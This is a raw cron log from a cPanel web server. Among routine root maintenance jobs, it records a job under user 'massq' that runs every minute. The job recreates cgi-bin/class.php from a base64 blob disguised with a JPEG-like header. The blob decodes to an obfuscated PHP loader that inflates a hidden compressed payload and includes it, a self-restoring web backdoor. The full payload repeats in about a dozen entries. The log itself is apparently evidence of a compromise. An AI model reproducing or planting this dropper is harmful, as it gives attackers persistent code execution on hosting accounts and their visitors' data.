Sep  9 16:50:01 server CROND[20156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:50:01 server CROND[20159]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:50:01 server CROND[20157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:50:01 server CROND[20160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:50:01 server CROND[20158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:51:01 server CROND[20979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:51:01 server CROND[20980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:51:01 server CROND[20978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:52:02 server CROND[21425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:52:02 server CROND[21426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:52:02 server CROND[21427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:53:01 server CROND[21798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:53:01 server CROND[21797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:53:01 server CROND[21799]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:54:01 server CROND[22260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:54:01 server CROND[22261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:54:01 server CROND[22262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:55:01 server CROND[22636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:55:01 server CROND[22637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:55:01 server CROND[22639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:55:01 server CROND[22642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:55:01 server CROND[22645]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:55:01 server CROND[22641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:55:01 server CROND[22640]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:56:01 server CROND[23633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:56:01 server CROND[23634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:56:01 server CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:57:01 server CROND[24004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:57:01 server CROND[24005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:57:01 server CROND[24007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 16:57:01 server CROND[24006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:58:01 server CROND[24372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:58:01 server CROND[24373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:58:01 server CROND[24374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:59:01 server CROND[24735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:59:01 server CROND[24736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:59:01 server CROND[24737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:00:01 server CROND[25228]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:00:01 server CROND[25229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:00:01 server CROND[25239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:00:01 server CROND[25242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:00:01 server CROND[25244]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:00:01 server CROND[25245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:00:01 server CROND[25241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:00:01 server CROND[25246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:00:01 server CROND[25240]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 17:01:01 server CROND[26080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:01:01 server CROND[26081]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 17:01:01 server CROND[26082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:01:01 server CROND[26083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:01:01 server run-parts(/etc/cron.hourly)[26081]: starting 0anacron
